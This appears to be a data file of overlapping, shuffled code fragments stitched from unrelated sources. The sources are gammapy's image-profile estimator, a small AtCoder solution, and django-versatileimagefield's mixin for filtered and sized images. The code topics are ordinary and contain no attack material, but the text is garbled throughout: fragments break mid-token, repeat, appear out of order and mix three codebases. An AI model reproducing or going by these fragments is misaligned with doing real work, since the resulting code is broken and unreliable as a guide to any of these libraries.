_get_x_edges(self, image): if", "math:: \\Delta x_j = \\sqrt{\\sum_i \\Delta x^{2}_{(j - i)} h^{2}_i}", "def _label_image(self, image, mask=None): p = self.parameters coordinates = image.geom.get_coord().skycoord", "== \"peak\": norm = np.nanmax(profile) elif mode == \"integral\": norm", "result[\"x_max\"] = x_edges[1:] result[\"x_ref\"] = (x_edges[:-1] + x_edges[1:]) / 2", "= profile_err * image.unit result.meta[\"PROFILE_TYPE\"] = p[\"axis\"] return ImageProfile(result) class", "-1] rad_max = coordinates[corners].separation(p[\"center\"]).max() x_edges = Angle(np.arange(0, rad_max.deg, rad_step.deg), unit=\"deg\")", "(required). * `profile_err` Image profile data error (optional). Parameters ----------", "object \"\"\" import matplotlib.pyplot as plt if ax is None:", "fermi_cts = Map.read(filename) # set up profile estimator and run", "ImageProfile: \"\"\"Image profile class. The image profile data is stored", "and `~scipy.ndimage.gaussian_filter` ('gauss'). Returns ------- profile : `ImageProfile` Smoothed image", "\"mean\": # gaussian error propagation profile = scipy.ndimage.mean(image.data, labels.data, index)", "# TODO: think better about error handling. e.g. MC based", "elif \"profile_err\" in table.colnames: profile_err = table[\"profile_err\"] # use gaussian", "self.x_ref.value ax.plot(x, y, **kwargs) ax.set_xlabel(\"lon\") ax.set_ylabel(\"profile\") ax.set_xlim(x.max(), x.min()) return ax", "`ImageProfile` Smoothed image profile. \"\"\" table = self.table.copy() profile =", "return ImageProfile(result) class ImageProfile: \"\"\"Image profile class. The image profile", "labels.data, index) profile_err = np.sqrt(err_sum) / N return profile, profile_err", "along arbitrary directions # TODO: think better about error handling.", ":math:`h_i` are the coefficients of the convolution kernel. The corresponding", "estimator on. mask : `~gammapy.maps.Map` Optional mask to exclude regions", "object **kwargs : dict Keyword arguments passed to plt.fill_between() Returns", "-------- This example shows how to compute a counts profile", "for the Fermi galactic center region:: import matplotlib.pyplot as plt", "profile = self.table[\"profile\"] if mode == \"peak\": norm = np.nanmax(profile)", "propagation profile = scipy.ndimage.mean(image.data, labels.data, index) if image_err: N =", "band. Parameters ---------- ax : `~matplotlib.axes.Axes` Axes object **kwargs :", "/= norm if \"profile_err\" in table.colnames: table[\"profile_err\"] /= norm return", "import matplotlib.pyplot as plt if ax is None: ax =", ": `~astropy.coordinates.SkyCoord` Center coordinate for the radial profile option. Examples", "renormalize data if table[\"profile\"].unit.is_equivalent(\"count\"): smoothed *= int(width) smoothed_err = np.sqrt(smoothed)", "= smoothed * self.table[\"profile\"].unit if \"profile_err\" in table.colnames: table[\"profile_err\"] =", "image): if self._x_edges is not None: return self._x_edges p =", "width, **kwargs ) # renormalize data if table[\"profile\"].unit.is_equivalent(\"count\"): smoothed *=", "p = self.parameters labels = self._label_image(image, mask) profile_err = None", "= [\"ImageProfile\", \"ImageProfileEstimator\"] # TODO: implement measuring profile along arbitrary", "plt.fill_between() Returns ------- ax : `~matplotlib.axes.Axes` Axes object \"\"\" import", "choose either 'lon' or 'lat'\") if method == \"radial\" and", "fig.add_axes([0.1, 0.1, 0.8, 0.8]) ax = self.plot(ax, **kwargs) if \"profile_err\"", "profile.astype(\"float\"), width, **kwargs ) # use gaussian error propagation if", "@property def profile(self): \"\"\"Image profile quantity.\"\"\" return self.table[\"profile\"].quantity @property def", "to peak value or integral. Parameters ---------- mode : ['integral',", "run profile estimator on. mask : `~gammapy.maps.Map` Optional mask to", "think better about error handling. e.g. MC based methods class", "image.copy(data=np.sqrt(image.data)) profile, profile_err = self._estimate_profile(image, image_err, mask) result = Table()", "p = self.parameters if image.unit.is_equivalent(\"count\"): image_err = image.copy(data=np.sqrt(image.data)) profile, profile_err", "astropy.convolution import Box1DKernel, Gaussian1DKernel from astropy.coordinates import Angle from astropy.table", "if image.unit.is_equivalent(\"counts\"): profile_err = np.sqrt(profile) elif image_err: # gaussian error", "/ N return profile, profile_err def _label_image(self, image, mask=None): p", "['sum', 'mean'] Compute sum or mean within profile bins. axis", "axis to estimate the profile. center : `~astropy.coordinates.SkyCoord` Center coordinate", "specified as above. \"\"\" def __init__(self, table): self.table = table", "i)} h_i Where :math:`h_i` are the coefficients of the convolution", "gaussian error propagation err_sum = scipy.ndimage.sum(image_err.data ** 2, labels.data, index)", "return self.__class__(table) def plot(self, ax=None, **kwargs): \"\"\"Plot image profile. Parameters", "image profile error as band. Parameters ---------- ax : `~matplotlib.axes.Axes`", "0.8]) ax = self.plot(ax, **kwargs) if \"profile_err\" in self.table.colnames: ax", "table[\"profile\"].unit.is_equivalent(\"count\"): smoothed *= int(width) smoothed_err = np.sqrt(smoothed) elif \"profile_err\" in", "interpreted as smoothing width in pixels. If an (angular) quantity", "\"\"\" table = self.table.copy() profile = table[\"profile\"] radius = u.Quantity(radius)", "self.table.colnames: ax = self.plot_err(ax, color=kwargs.get(\"c\")) return ax def normalize(self, mode=\"peak\"):", "---------- kernel : {'gauss', 'box'} Kernel shape radius : `~astropy.units.Quantity`,", "self._x_edges is not None: return self._x_edges p = self.parameters coordinates", "as above. \"\"\" def __init__(self, table): self.table = table def", "profile_err * image.unit result.meta[\"PROFILE_TYPE\"] = p[\"axis\"] return ImageProfile(result) class ImageProfile:", "# TODO: implement measuring profile along arbitrary directions # TODO:", "2D images).\"\"\" import numpy as np import scipy.ndimage from astropy", "TODO: think better about error handling. e.g. MC based methods", "Keyword arguments passed to `~matplotlib.axes.Axes.plot` Returns ------- ax : `~matplotlib.axes.Axes`", "image profile. \"\"\" table = self.table.copy() profile = self.table[\"profile\"] if", "Coordinate bin center (required). * `x_min` Coordinate bin minimum (optional).", "valid method, choose either 'sum' or 'mean'\") if axis not", "Optional mask to exclude regions from the measurement. Returns -------", "= x_edges if method not in [\"sum\", \"mean\"]: raise ValueError(\"Not", "not in [\"lon\", \"lat\", \"radial\"]: raise ValueError(\"Not a valid axis,", "rad_max.deg, rad_step.deg), unit=\"deg\") return x_edges def _estimate_profile(self, image, image_err, mask):", "elif p[\"axis\"] == \"lat\": lat = coordinates.data.lat data = np.digitize(lat.degree,", "ax = plt.gca() y = self.table[\"profile\"].data x = self.x_ref.value ax.plot(x,", "self.plot_err(ax, color=kwargs.get(\"c\")) return ax def normalize(self, mode=\"peak\"): \"\"\"Normalize profile to", "to run profile estimator on. mask : `~gammapy.maps.Map` Optional mask", "gammapy.maps import ImageProfileEstimator from gammapy.maps import Map from astropy import", "{'gauss', 'box'} Kernel shape radius : `~astropy.units.Quantity`, str or float", "method not in [\"sum\", \"mean\"]: raise ValueError(\"Not a valid method,", "profile : `ImageProfile` Smoothed image profile. \"\"\" table = self.table.copy()", "profiles (i.e. 1D \"slices\" from 2D images).\"\"\" import numpy as", "x_j = \\sqrt{\\sum_i \\Delta x^{2}_{(j - i)} h^{2}_i} Parameters ----------", "or integral. Parameters ---------- mode : ['integral', 'peak'] Normalize image", "ax.set_ylabel(\"profile\") return ax @property def x_ref(self): \"\"\"Reference x coordinates.\"\"\" return", "KeyError: return None def peek(self, figsize=(8, 4.5), **kwargs): \"\"\"Show image", "Returns ------- profile : `ImageProfile` Smoothed image profile. \"\"\" table", "on. mask : `~gammapy.maps.Map` Optional mask to exclude regions from", "(required). * `x_min` Coordinate bin minimum (optional). * `x_max` Coordinate", "p[\"axis\"] == \"radial\": rad_step = image.geom.pixel_scales.mean() corners = [0, 0,", "Parameters ---------- kernel : {'gauss', 'box'} Kernel shape radius :", "table.colnames: table[\"profile_err\"] = smoothed_err * self.table[\"profile\"].unit return self.__class__(table) def plot(self,", "if ax is None: ax = plt.gca() y = self.table[\"profile\"].data", "between the individual :math:`x_{(j - i)}`: .. math:: \\Delta x_j", "\"\"\"Plot image profile error as band. Parameters ---------- ax :", "`~astropy.table.Table` object, with the following columns: * `x_ref` Coordinate bin", "\"lon\": lon = coordinates.data.lon.wrap_at(\"180d\") data = np.digitize(lon.degree, x_edges.deg) elif p[\"axis\"]", "x_{(j - i)} h_i Where :math:`h_i` are the coefficients of", "def _get_x_edges(self, image): if self._x_edges is not None: return self._x_edges", "error as band. Parameters ---------- ax : `~matplotlib.axes.Axes` Axes object", "image profile and error. Parameters ---------- **kwargs : dict Keyword", "- i)} h^{2}_i} Parameters ---------- kernel : {'gauss', 'box'} Kernel", "p[\"axis\"] == \"lon\": lon = coordinates[0, :].data.lon x_edges = lon.wrap_at(\"180d\")", "self.table.copy() profile = table[\"profile\"] radius = u.Quantity(radius) radius = np.abs(radius", "Coordinate edges to define a custom measument grid (optional). method", "import units as u # load example data filename =", "**kwargs) ax.set_xlabel(\"x (deg)\") ax.set_ylabel(\"profile\") return ax @property def x_ref(self): \"\"\"Reference", "= scipy.ndimage.sum(image_err.data ** 2, labels.data, index) profile_err = np.sqrt(err_sum) elif", "object. \"\"\" p = self.parameters if image.unit.is_equivalent(\"count\"): image_err = image.copy(data=np.sqrt(image.data))", "data = np.digitize(lon.degree, x_edges.deg) elif p[\"axis\"] == \"lat\": lat =", "to background data[mask.data] = 0 return image.copy(data=data) def run(self, image,", "None: result[\"profile_err\"] = profile_err * image.unit result.meta[\"PROFILE_TYPE\"] = p[\"axis\"] return", "('box') and `~scipy.ndimage.gaussian_filter` ('gauss'). Returns ------- profile : `ImageProfile` Smoothed", "plt fig = plt.figure(figsize=figsize) ax = fig.add_axes([0.1, 0.1, 0.8, 0.8])", "bin center (required). * `x_min` Coordinate bin minimum (optional). *", "\"lat\": lat = coordinates.data.lat data = np.digitize(lat.degree, x_edges.deg) elif p[\"axis\"]", "elif p[\"axis\"] == \"radial\": rad_step = image.geom.pixel_scales.mean() corners = [0," ]
[ "== 'a': print('-1') else: print('a') if __name__ == '__main__': main()", "utf-8 -*- def main(): a = input() # See: #", "a = input() # See: # https://www.slideshare.net/chokudai/abc007 if a ==", "See: # https://www.slideshare.net/chokudai/abc007 if a == 'a': print('-1') else: print('a')", "a == 'a': print('-1') else: print('a') if __name__ == '__main__':", "if a == 'a': print('-1') else: print('a') if __name__ ==", "# https://www.slideshare.net/chokudai/abc007 if a == 'a': print('-1') else: print('a') if", "https://www.slideshare.net/chokudai/abc007 if a == 'a': print('-1') else: print('a') if __name__", "-*- coding: utf-8 -*- def main(): a = input() #", "<reponame>KATO-Hiro/AtCoder # -*- coding: utf-8 -*- def main(): a =", "# See: # https://www.slideshare.net/chokudai/abc007 if a == 'a': print('-1') else:", "# -*- coding: utf-8 -*- def main(): a = input()", "input() # See: # https://www.slideshare.net/chokudai/abc007 if a == 'a': print('-1')", "main(): a = input() # See: # https://www.slideshare.net/chokudai/abc007 if a", "= input() # See: # https://www.slideshare.net/chokudai/abc007 if a == 'a':", "-*- def main(): a = input() # See: # https://www.slideshare.net/chokudai/abc007", "coding: utf-8 -*- def main(): a = input() # See:", "def main(): a = input() # See: # https://www.slideshare.net/chokudai/abc007 if" ]
[ "\"\"\"Return the location where filtered images are stored.\"\"\" folder, filename", "os.path.splitext(filename) for f in file_list: if not f.startswith(basename) or not", "def delete_filtered_images(self): \"\"\"Delete all filtered images created from `self.name`.\"\"\" self.delete_matching_files_from_storage(", "import os import re from .datastructures import FilterLibrary from .registry", "return os.path.join(folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME, '') def get_sized_root_folder(self): \"\"\"Return the location where", "+ tag + ext if regex.match(tag) is not None: file_location", "empty (not `self.name`) and a placeholder is defined, the URL", "for ( attr_name, sizedimage_cls ) in versatileimagefield_registry._sizedimage_registry.items(): setattr( self, attr_name,", "from: {original})\".format( file=os.path.join(root_folder, f), original=self.name ) ) def delete_filtered_images(self): \"\"\"Delete", "def delete_sized_images(self): \"\"\"Delete all sized images created from `self.name`.\"\"\" self.delete_matching_files_from_storage(", "created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_sized_root_folder(), sizer_regex ) def delete_filtered_sized_images(self): \"\"\"Delete", "**kwargs) # Setting initial ppoi if self.field.ppoi_field: instance_ppoi_value = getattr(", "API.\"\"\" def __init__(self, *args, **kwargs): \"\"\"Construct PPOI and create_on_demand.\"\"\" self._create_on_demand", "all filtered images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_root_folder(), filter_regex )", "= value self.build_filters_and_sizers(self.ppoi, value) @property def ppoi(self): \"\"\"Primary Point of", "cache, VERSATILEIMAGEFIELD_CREATE_ON_DEMAND, VERSATILEIMAGEFIELD_SIZED_DIRNAME, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) from .validators import validate_ppoi autodiscover()", "def __init__(self, *args, **kwargs): \"\"\"Construct PPOI and create_on_demand.\"\"\" self._create_on_demand =", "and self.field.placeholder_image_name: return self.storage.url(self.field.placeholder_image_name) return super(VersatileImageMixIn, self).url @property def create_on_demand(self):", "self.field.placeholder_image_name: name = self.field.placeholder_image_name self.filters = FilterLibrary( name, self.storage, versatileimagefield_registry,", "= FilterLibrary( name, self.storage, versatileimagefield_registry, ppoi_value, create_on_demand ) for (", "return os.path.join( sized_root_folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) def delete_matching_files_from_storage(self, root_folder, regex): \"\"\"", "os.path.split(self.name) return os.path.join(folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME, '') def get_sized_root_folder(self): \"\"\"Return the location", "else: self._create_on_demand = value self.build_filters_and_sizers(self.ppoi, value) @property def ppoi(self): \"\"\"Primary", ") for ( attr_name, sizedimage_cls ) in versatileimagefield_registry._sizedimage_registry.items(): setattr( self,", "sizers for a field.\"\"\" name = self.name if not name", "0.5) @property def url(self): \"\"\" Return the appropriate URL. URL", "\"\"\" if not self.name: # pragma: no cover return try:", ") if ppoi is not False: self._ppoi_value = ppoi self.build_filters_and_sizers(ppoi,", "ppoi = validate_ppoi( value, return_converted_tuple=True ) if ppoi is not", "None: file_location = os.path.join(root_folder, f) self.storage.delete(file_location) cache.delete( self.storage.url(file_location) ) print(", "a boolean\" ) else: self._create_on_demand = value self.build_filters_and_sizers(self.ppoi, value) @property", "to the placeholder is returned. * Otherwise, defaults to vanilla", "sizedimage_cls ) in versatileimagefield_registry._sizedimage_registry.items(): setattr( self, attr_name, sizedimage_cls( path_to_image=name, storage=self.storage,", ") print( \"Deleted {file} (created from: {original})\".format( file=os.path.join(root_folder, f), original=self.name", "instance_ppoi_value else: self.ppoi = (0.5, 0.5) @property def url(self): \"\"\"", "self._create_on_demand = VERSATILEIMAGEFIELD_CREATE_ON_DEMAND super(VersatileImageMixIn, self).__init__(*args, **kwargs) # Setting initial ppoi", "filter_regex_snippet = r'__({registered_filters})__'.format( registered_filters='|'.join([ key for key, filter_cls in versatileimagefield_registry._filter_registry.items()", "VERSATILEIMAGEFIELD_CREATE_ON_DEMAND, VERSATILEIMAGEFIELD_SIZED_DIRNAME, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) from .validators import validate_ppoi autodiscover() filter_regex_snippet", "== basename + tag + ext if regex.match(tag) is not", "self.storage.url(file_location) ) print( \"Deleted {file} (created from: {original})\".format( file=os.path.join(root_folder, f),", ") def delete_filtered_sized_images(self): \"\"\"Delete all filtered sized images created from", "match `regex` before file ext. Example values: * root_folder =", "ppoi self.build_filters_and_sizers(ppoi, self.create_on_demand) def build_filters_and_sizers(self, ppoi_value, create_on_demand): \"\"\"Build the filters", "{original})\".format( file=os.path.join(root_folder, f), original=self.name ) ) def delete_filtered_images(self): \"\"\"Delete all", "'') def get_sized_root_folder(self): \"\"\"Return the location where sized images are", "file_location = os.path.join(root_folder, f) self.storage.delete(file_location) cache.delete( self.storage.url(file_location) ) print( \"Deleted", "build_filters_and_sizers(self, ppoi_value, create_on_demand): \"\"\"Build the filters and sizers for a", "in versatileimagefield_registry._sizedimage_registry.items(): setattr( self, attr_name, sizedimage_cls( path_to_image=name, storage=self.storage, create_on_demand=create_on_demand, ppoi=ppoi_value", "self.get_filtered_sized_root_folder(), filter_and_sizer_regex ) def delete_all_created_images(self): \"\"\"Delete all images created from", "self.field.ppoi_field, (0.5, 0.5) ) self.ppoi = instance_ppoi_value else: self.ppoi =", "\"\"\"Primary Point of Interest (ppoi) getter.\"\"\" return self._ppoi_value @ppoi.setter def", "print( \"Deleted {file} (created from: {original})\".format( file=os.path.join(root_folder, f), original=self.name )", "sizer_cls in versatileimagefield_registry._sizedimage_registry.items() ]) ) filter_regex = re.compile(filter_regex_snippet + '$')", "provides the filtering/sizing API.\"\"\" def __init__(self, *args, **kwargs): \"\"\"Construct PPOI", "\"\"\" if not self.name and self.field.placeholder_image_name: return self.storage.url(self.field.placeholder_image_name) return super(VersatileImageMixIn,", "raise ValueError( \"`create_on_demand` must be a boolean\" ) else: self._create_on_demand", "Return the appropriate URL. URL is constructed based on these", "the filters and sizers for a field.\"\"\" name = self.name", "attr_name, sizedimage_cls( path_to_image=name, storage=self.storage, create_on_demand=create_on_demand, ppoi=ppoi_value ) ) def get_filtered_root_folder(self):", "autodiscover, versatileimagefield_registry from .settings import ( cache, VERSATILEIMAGEFIELD_CREATE_ON_DEMAND, VERSATILEIMAGEFIELD_SIZED_DIRNAME, VERSATILEIMAGEFIELD_FILTERED_DIRNAME", "delete_all_created_images(self): \"\"\"Delete all images created from `self.name`.\"\"\" self.delete_filtered_images() self.delete_sized_images() self.delete_filtered_sized_images()", "sizer_cls.get_filename_key_regex() for key, sizer_cls in versatileimagefield_registry._sizedimage_registry.items() ]) ) filter_regex =", "in versatileimagefield_registry._filter_registry.items() ]) ) sizer_regex_snippet = r'-({registered_sizers})-(\\d+)x(\\d+)(?:-\\d+)?'.format( registered_sizers='|'.join([ sizer_cls.get_filename_key_regex() for", "self).__init__(*args, **kwargs) # Setting initial ppoi if self.field.ppoi_field: instance_ppoi_value =", "instance_ppoi_value = getattr( self.instance, self.field.ppoi_field, (0.5, 0.5) ) self.ppoi =", "`self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_sized_root_folder(), filter_and_sizer_regex ) def delete_all_created_images(self): \"\"\"Delete all images", "basename, ext = os.path.splitext(filename) for f in file_list: if not", "sized images are stored.\"\"\" folder, filename = os.path.split(self.name) return os.path.join(VERSATILEIMAGEFIELD_SIZED_DIRNAME,", "initial ppoi if self.field.ppoi_field: instance_ppoi_value = getattr( self.instance, self.field.ppoi_field, (0.5,", "\"\"\"create_on_demand getter.\"\"\" return self._create_on_demand @create_on_demand.setter def create_on_demand(self, value): if not", "original=self.name ) ) def delete_filtered_images(self): \"\"\"Delete all filtered images created", "ppoi is not False: self._ppoi_value = ppoi self.build_filters_and_sizers(ppoi, self.create_on_demand) def", "self.name if not name and self.field.placeholder_image_name: name = self.field.placeholder_image_name self.filters", "import ( cache, VERSATILEIMAGEFIELD_CREATE_ON_DEMAND, VERSATILEIMAGEFIELD_SIZED_DIRNAME, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) from .validators import", "+ '$') sizer_regex = re.compile(sizer_regex_snippet + '$') filter_and_sizer_regex = re.compile(", "* If empty (not `self.name`) and a placeholder is defined,", "@ppoi.setter def ppoi(self, value): \"\"\"Primary Point of Interest (ppoi) setter.\"\"\"", "def get_sized_root_folder(self): \"\"\"Return the location where sized images are stored.\"\"\"", "= f[len(basename):-len(ext)] assert f == basename + tag + ext", "is defined, the URL to the placeholder is returned. *", "images are stored.\"\"\" folder, filename = os.path.split(self.name) return os.path.join(VERSATILEIMAGEFIELD_SIZED_DIRNAME, folder,", "get_filtered_root_folder(self): \"\"\"Return the location where filtered images are stored.\"\"\" folder,", "Setting initial ppoi if self.field.ppoi_field: instance_ppoi_value = getattr( self.instance, self.field.ppoi_field,", "stored.\"\"\" sized_root_folder = self.get_sized_root_folder() return os.path.join( sized_root_folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) def", "delete_filtered_images(self): \"\"\"Delete all filtered images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_root_folder(),", "filtered images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_root_folder(), filter_regex ) def", "from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_sized_root_folder(), filter_and_sizer_regex ) def delete_all_created_images(self): \"\"\"Delete all", "filter_and_sizer_regex = re.compile( filter_regex_snippet + sizer_regex_snippet + '$' ) class", "+ '$' ) class VersatileImageMixIn(object): \"\"\"A mix-in that provides the", "* foo/bar-baz.jpg <- Deleted * foo/bar-biz.jpg <- Not deleted \"\"\"", ".settings import ( cache, VERSATILEIMAGEFIELD_CREATE_ON_DEMAND, VERSATILEIMAGEFIELD_SIZED_DIRNAME, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) from .validators", "file_list = self.storage.listdir(root_folder) except OSError: # pragma: no cover pass", "create_on_demand=create_on_demand, ppoi=ppoi_value ) ) def get_filtered_root_folder(self): \"\"\"Return the location where", "sized_root_folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) def delete_matching_files_from_storage(self, root_folder, regex): \"\"\" Delete files", "value): if not isinstance(value, bool): raise ValueError( \"`create_on_demand` must be", "from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_sized_root_folder(), sizer_regex ) def delete_filtered_sized_images(self): \"\"\"Delete all", "where filtered images are stored.\"\"\" folder, filename = os.path.split(self.name) return", "of Interest (ppoi) setter.\"\"\" ppoi = validate_ppoi( value, return_converted_tuple=True )", "which match `regex` before file ext. Example values: * root_folder", "@create_on_demand.setter def create_on_demand(self, value): if not isinstance(value, bool): raise ValueError(", "for f in file_list: if not f.startswith(basename) or not f.endswith(ext):", "If empty (not `self.name`) and a placeholder is defined, the", "= self.get_sized_root_folder() return os.path.join( sized_root_folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) def delete_matching_files_from_storage(self, root_folder,", "isinstance(value, bool): raise ValueError( \"`create_on_demand` must be a boolean\" )", "= 'foo/' * self.name = 'bar.jpg' * regex = re.compile('-baz')", "\"\"\"A mix-in that provides the filtering/sizing API.\"\"\" def __init__(self, *args,", "re.compile(sizer_regex_snippet + '$') filter_and_sizer_regex = re.compile( filter_regex_snippet + sizer_regex_snippet +", "\"\"\"Primary Point of Interest (ppoi) setter.\"\"\" ppoi = validate_ppoi( value,", "the appropriate URL. URL is constructed based on these field", "self._ppoi_value @ppoi.setter def ppoi(self, value): \"\"\"Primary Point of Interest (ppoi)", "Example values: * root_folder = 'foo/' * self.name = 'bar.jpg'", "self._ppoi_value = ppoi self.build_filters_and_sizers(ppoi, self.create_on_demand) def build_filters_and_sizers(self, ppoi_value, create_on_demand): \"\"\"Build", "boolean\" ) else: self._create_on_demand = value self.build_filters_and_sizers(self.ppoi, value) @property def", "import validate_ppoi autodiscover() filter_regex_snippet = r'__({registered_filters})__'.format( registered_filters='|'.join([ key for key,", "sizer_regex_snippet + '$' ) class VersatileImageMixIn(object): \"\"\"A mix-in that provides", "must be a boolean\" ) else: self._create_on_demand = value self.build_filters_and_sizers(self.ppoi,", "location where sized images are stored.\"\"\" folder, filename = os.path.split(self.name)", "self.name: # pragma: no cover return try: directory_list, file_list =", "value self.build_filters_and_sizers(self.ppoi, value) @property def ppoi(self): \"\"\"Primary Point of Interest", "self.get_sized_root_folder(), sizer_regex ) def delete_filtered_sized_images(self): \"\"\"Delete all filtered sized images", "ext = os.path.splitext(filename) for f in file_list: if not f.startswith(basename)", "URL. URL is constructed based on these field conditions: *", "return try: directory_list, file_list = self.storage.listdir(root_folder) except OSError: # pragma:", "versatileimagefield_registry._filter_registry.items() ]) ) sizer_regex_snippet = r'-({registered_sizers})-(\\d+)x(\\d+)(?:-\\d+)?'.format( registered_sizers='|'.join([ sizer_cls.get_filename_key_regex() for key,", "else: self.ppoi = (0.5, 0.5) @property def url(self): \"\"\" Return", "root_folder, regex): \"\"\" Delete files in `root_folder` which match `regex`", "tag + ext if regex.match(tag) is not None: file_location =", ") def delete_all_created_images(self): \"\"\"Delete all images created from `self.name`.\"\"\" self.delete_filtered_images()", "folder, '') def get_filtered_sized_root_folder(self): \"\"\"Return the location where filtered +", "to vanilla ImageFieldFile behavior. \"\"\" if not self.name and self.field.placeholder_image_name:", "if not self.name and self.field.placeholder_image_name: return self.storage.url(self.field.placeholder_image_name) return super(VersatileImageMixIn, self).url", "PPOI and create_on_demand.\"\"\" self._create_on_demand = VERSATILEIMAGEFIELD_CREATE_ON_DEMAND super(VersatileImageMixIn, self).__init__(*args, **kwargs) #", "Not deleted \"\"\" if not self.name: # pragma: no cover", "is not False: self._ppoi_value = ppoi self.build_filters_and_sizers(ppoi, self.create_on_demand) def build_filters_and_sizers(self,", "ppoi_value, create_on_demand ) for ( attr_name, sizedimage_cls ) in versatileimagefield_registry._sizedimage_registry.items():", "or not f.endswith(ext): # pragma: no cover continue tag =", "__init__(self, *args, **kwargs): \"\"\"Construct PPOI and create_on_demand.\"\"\" self._create_on_demand = VERSATILEIMAGEFIELD_CREATE_ON_DEMAND", "placeholder is returned. * Otherwise, defaults to vanilla ImageFieldFile behavior.", "return os.path.join(VERSATILEIMAGEFIELD_SIZED_DIRNAME, folder, '') def get_filtered_sized_root_folder(self): \"\"\"Return the location where", "filters and sizers for a field.\"\"\" name = self.name if", "if not self.name: # pragma: no cover return try: directory_list,", ") else: self._create_on_demand = value self.build_filters_and_sizers(self.ppoi, value) @property def ppoi(self):", "folder, filename = os.path.split(self.name) return os.path.join(VERSATILEIMAGEFIELD_SIZED_DIRNAME, folder, '') def get_filtered_sized_root_folder(self):", "self.build_filters_and_sizers(self.ppoi, value) @property def ppoi(self): \"\"\"Primary Point of Interest (ppoi)", "assert f == basename + tag + ext if regex.match(tag)", "os.path.join(folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME, '') def get_sized_root_folder(self): \"\"\"Return the location where sized", "'$' ) class VersatileImageMixIn(object): \"\"\"A mix-in that provides the filtering/sizing", "not False: self._ppoi_value = ppoi self.build_filters_and_sizers(ppoi, self.create_on_demand) def build_filters_and_sizers(self, ppoi_value,", "<- Not deleted \"\"\" if not self.name: # pragma: no", "'$') filter_and_sizer_regex = re.compile( filter_regex_snippet + sizer_regex_snippet + '$' )", "field conditions: * If empty (not `self.name`) and a placeholder", "constructed based on these field conditions: * If empty (not", "regex.match(tag) is not None: file_location = os.path.join(root_folder, f) self.storage.delete(file_location) cache.delete(", "filter_and_sizer_regex ) def delete_all_created_images(self): \"\"\"Delete all images created from `self.name`.\"\"\"", "key, sizer_cls in versatileimagefield_registry._sizedimage_registry.items() ]) ) filter_regex = re.compile(filter_regex_snippet +", "os.path.split(self.name) return os.path.join(VERSATILEIMAGEFIELD_SIZED_DIRNAME, folder, '') def get_filtered_sized_root_folder(self): \"\"\"Return the location", "sizedimage_cls( path_to_image=name, storage=self.storage, create_on_demand=create_on_demand, ppoi=ppoi_value ) ) def get_filtered_root_folder(self): \"\"\"Return", "filtered images are stored.\"\"\" folder, filename = os.path.split(self.name) return os.path.join(folder,", "self.get_filtered_root_folder(), filter_regex ) def delete_sized_images(self): \"\"\"Delete all sized images created", "= os.path.split(self.name) return os.path.join(VERSATILEIMAGEFIELD_SIZED_DIRNAME, folder, '') def get_filtered_sized_root_folder(self): \"\"\"Return the", "= getattr( self.instance, self.field.ppoi_field, (0.5, 0.5) ) self.ppoi = instance_ppoi_value", "= ppoi self.build_filters_and_sizers(ppoi, self.create_on_demand) def build_filters_and_sizers(self, ppoi_value, create_on_demand): \"\"\"Build the", "that provides the filtering/sizing API.\"\"\" def __init__(self, *args, **kwargs): \"\"\"Construct", "the location where filtered images are stored.\"\"\" folder, filename =", "the placeholder is returned. * Otherwise, defaults to vanilla ImageFieldFile", "ext. Example values: * root_folder = 'foo/' * self.name =", "self._create_on_demand = value self.build_filters_and_sizers(self.ppoi, value) @property def ppoi(self): \"\"\"Primary Point", "= os.path.join(root_folder, f) self.storage.delete(file_location) cache.delete( self.storage.url(file_location) ) print( \"Deleted {file}", "+ sizer_regex_snippet + '$' ) class VersatileImageMixIn(object): \"\"\"A mix-in that", "value): \"\"\"Primary Point of Interest (ppoi) setter.\"\"\" ppoi = validate_ppoi(", "location where filtered + sized images are stored.\"\"\" sized_root_folder =", "mix-in that provides the filtering/sizing API.\"\"\" def __init__(self, *args, **kwargs):", "self.name = 'bar.jpg' * regex = re.compile('-baz') Result: * foo/bar-baz.jpg", "before file ext. Example values: * root_folder = 'foo/' *", "these field conditions: * If empty (not `self.name`) and a", "images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_sized_root_folder(), filter_and_sizer_regex ) def delete_all_created_images(self):", "(0.5, 0.5) @property def url(self): \"\"\" Return the appropriate URL.", "validate_ppoi autodiscover() filter_regex_snippet = r'__({registered_filters})__'.format( registered_filters='|'.join([ key for key, filter_cls", "False: self._ppoi_value = ppoi self.build_filters_and_sizers(ppoi, self.create_on_demand) def build_filters_and_sizers(self, ppoi_value, create_on_demand):", ") filter_regex = re.compile(filter_regex_snippet + '$') sizer_regex = re.compile(sizer_regex_snippet +", "r'-({registered_sizers})-(\\d+)x(\\d+)(?:-\\d+)?'.format( registered_sizers='|'.join([ sizer_cls.get_filename_key_regex() for key, sizer_cls in versatileimagefield_registry._sizedimage_registry.items() ]) )", "from .settings import ( cache, VERSATILEIMAGEFIELD_CREATE_ON_DEMAND, VERSATILEIMAGEFIELD_SIZED_DIRNAME, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) from", "filter_regex_snippet + sizer_regex_snippet + '$' ) class VersatileImageMixIn(object): \"\"\"A mix-in", "super(VersatileImageMixIn, self).url @property def create_on_demand(self): \"\"\"create_on_demand getter.\"\"\" return self._create_on_demand @create_on_demand.setter", "def create_on_demand(self, value): if not isinstance(value, bool): raise ValueError( \"`create_on_demand`", "f == basename + tag + ext if regex.match(tag) is", "are stored.\"\"\" sized_root_folder = self.get_sized_root_folder() return os.path.join( sized_root_folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME )", "filename = os.path.split(self.name) basename, 